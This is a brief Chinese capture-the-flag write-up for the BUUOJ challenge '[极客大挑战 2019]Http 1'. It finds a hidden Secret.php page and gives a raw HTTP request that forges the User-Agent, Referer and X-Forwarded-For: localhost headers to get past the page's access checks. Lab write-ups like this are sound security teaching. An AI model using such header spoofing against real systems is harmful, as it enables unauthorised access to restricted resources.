[极客大挑战 2019]Http 1

[极客大挑战 2019]Http 1

代码审计发现页面Secret.php

访问后显示页面，判断这题为头信息伪造

Hacker bar梭哈,最终payload为

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:25132
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://Sycsecret.buuoj.cn
Connection: keep-alive
Cookie: PHPSESSID=8b6a833913d30569616eeca4fb6a68c5
Upgrade-Insecure-Requests: 1
X-Forwarded-For: localhost
Priority: u=0, i

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